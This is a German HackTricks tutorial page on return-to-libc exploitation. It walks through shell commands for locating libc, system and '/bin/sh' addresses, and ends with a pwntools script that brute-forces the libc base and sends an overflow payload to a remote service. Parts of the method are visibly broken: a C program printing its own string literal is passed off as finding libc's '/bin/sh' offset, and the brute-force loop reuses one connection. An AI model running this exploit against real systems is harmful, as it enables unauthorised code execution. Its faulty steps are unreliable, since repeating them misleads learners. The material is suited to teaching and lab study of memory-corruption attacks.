5.7 KiB
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.
Wenn Sie eine verwundbare Binärdatei gefunden haben und glauben, dass Sie sie mit Ret2Lib ausnutzen können, finden Sie hier einige grundlegende Schritte, denen Sie folgen können.
Wenn Sie innerhalb des Hosts sind
Sie können die Adresse von libc finden
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Wenn Sie überprüfen möchten, ob ASLR die Adresse von libc ändert, können Sie Folgendes tun:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
Ermitteln Sie den Offset der Systemfunktion
Um eine Rücksprungadresse auf die Systemfunktion zu setzen, müssen Sie den Offset dieser Funktion in der Zielbibliothek ermitteln. Dieser Offset wird verwendet, um die Adresse der Systemfunktion im Speicher zu berechnen.
Um den Offset der Systemfunktion zu erhalten, können Sie das Tool objdump
verwenden. Führen Sie den folgenden Befehl aus, um die Symbole der Zielbibliothek anzuzeigen:
objdump -T /path/to/target/library.so | grep system
Ersetzen Sie /path/to/target/library.so
durch den Pfad zur Zielbibliothek, in der sich die Systemfunktion befindet. Der Befehl grep system
filtert die Ausgabe, um nur die Zeile mit dem Symbol der Systemfunktion anzuzeigen.
Die Ausgabe des Befehls enthält den Offset der Systemfunktion. Merken Sie sich diesen Wert, da Sie ihn später benötigen, um die Rücksprungadresse zu berechnen.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
Ermitteln Sie den Offset von "/bin/sh"
Um den Offset von "/bin/sh" zu ermitteln, können Sie die folgenden Schritte ausführen:
- Erstellen Sie ein einfaches C-Programm, das die Adresse von "/bin/sh" druckt.
#include <stdio.h>
int main() {
printf("/bin/sh Adresse: %p\n", "/bin/sh");
return 0;
}
-
Kompilieren Sie das Programm mit dem Befehl
gcc -o offset offset.c
. -
Führen Sie das kompilierte Programm aus, um die Adresse von "/bin/sh" zu erhalten. Die Ausgabe sollte ähnlich aussehen wie:
/bin/sh Adresse: 0x7fffffffe1a0
. -
Notieren Sie sich die erhaltene Adresse, da dies der Offset von "/bin/sh" ist, den Sie für die Exploit-Entwicklung verwenden können.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
/proc/<PID>/maps
Wenn der Prozess jedes Mal, wenn Sie mit ihm sprechen (Netzwerkserver), Kinder erstellt, versuchen Sie, diese Datei zu lesen (wahrscheinlich müssen Sie root sein).
Hier finden Sie genau, wo die libc im Prozess geladen ist und wo sie für jedes Kind des Prozesses geladen wird.
In diesem Fall wird sie bei 0xb75dc000 geladen (Dies wird die Basisadresse von libc sein)
Verwendung von gdb-peda
Holen Sie sich die Adresse der Funktion system, der Funktion exit und des Strings "/bin/sh" mit gdb-peda:
p system
p exit
find "/bin/sh"
Umgehung von ASLR
Sie können versuchen, die Basisadresse von libc durch Brute-Force zu ermitteln.
for off in range(0xb7000000, 0xb8000000, 0x1000):
Code
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.